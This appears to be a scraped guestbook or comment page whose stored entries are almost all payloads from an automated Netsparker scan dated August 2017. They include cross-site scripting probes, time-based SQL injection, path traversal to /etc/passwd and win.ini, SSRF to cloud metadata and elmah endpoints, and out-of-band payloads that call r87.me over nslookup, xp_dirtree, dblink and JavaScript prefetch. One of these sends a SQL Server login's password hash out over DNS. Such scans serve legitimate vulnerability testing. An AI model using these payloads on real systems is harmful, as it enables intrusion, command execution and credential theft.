%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n data:;base64,TlM3NzU0NTYxNDQ2NTc1\r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio\" & \"qju.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y\" & \"wqa.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-\" & \"y9m.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n //r87.com/?0x003F84\r\n

\r\n
\r\n

1);SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

N3TSP4RKE2

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\r\n

\r\n
\r\n

nxtspxrkex

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n [ns](javascript:netsparker(0x003F5C);)\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n NSFTW\r\n

\r\n
\r\n

n3tsp4rke2

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n /etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n '\"@-->\r\n

\r\n
\r\n

SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt\" & \"ano.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl\" & \"8u8.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s\" & \"jba.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl\" & \"cpq.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//etc/passwd\r\n

\r\n
\r\n

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)\r\n

\r\n
\r\n

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000.aspx\r\n

\r\n
\r\n

((select sleep(25)))a-- 1

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n http://127.0.0.1:3306\r\n

\r\n
\r\n

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n http://127.100.11.2:22\r\n

\r\n
\r\n

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r\r\n

\r\n
\r\n

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'\r\n

\r\n
\r\n

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n 1'))exec('xp_dirtree ''\\\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1))exec('xp_dirtree ''\\\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

1)) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1')exec('xp_dirtree ''\\\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n 1) exec('xp_dirtree ''\\\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n -1';exec('xp_dirtree ''\\\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

')) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n 1;exec('xp_dirtree ''\\\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n exec('xp_dirtree ''\\\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\\c$\\a''')\r\n

\r\n
\r\n

') WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n http://169.254.169.254/latest/meta-data/public-hostname\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs\" & \"j3o.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no\" & \"o20.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n http://aws.r87.me/latest/meta-data/public-hostname\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n file:///etc/passwd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n -1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\u0000.aspx\r\n

\r\n
\r\n

WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n 127.0.0.1/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n ::1/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n '+netsparker(0x003E56)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E54);\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache2/error.log\r\n

\r\n
\r\n

1 WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E52)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error_log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n 127.100.11.2/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

' WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n 54.204.37.212/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n testsparker.com/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n %27\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n http://testsparker.com/elmah\r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz\"+\"itg.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v\"+\"nwu.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n 127.0.0.1/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ',netsparker(0x003E50),'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/iis6.log\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n ::1/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 127.100.11.2/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \\';netsparker(0x003E4E);///\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n c:\\windows\\win.ini\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t\"+\"lty.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \"+netsparker(0x003E4C)+\"\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

\r\n

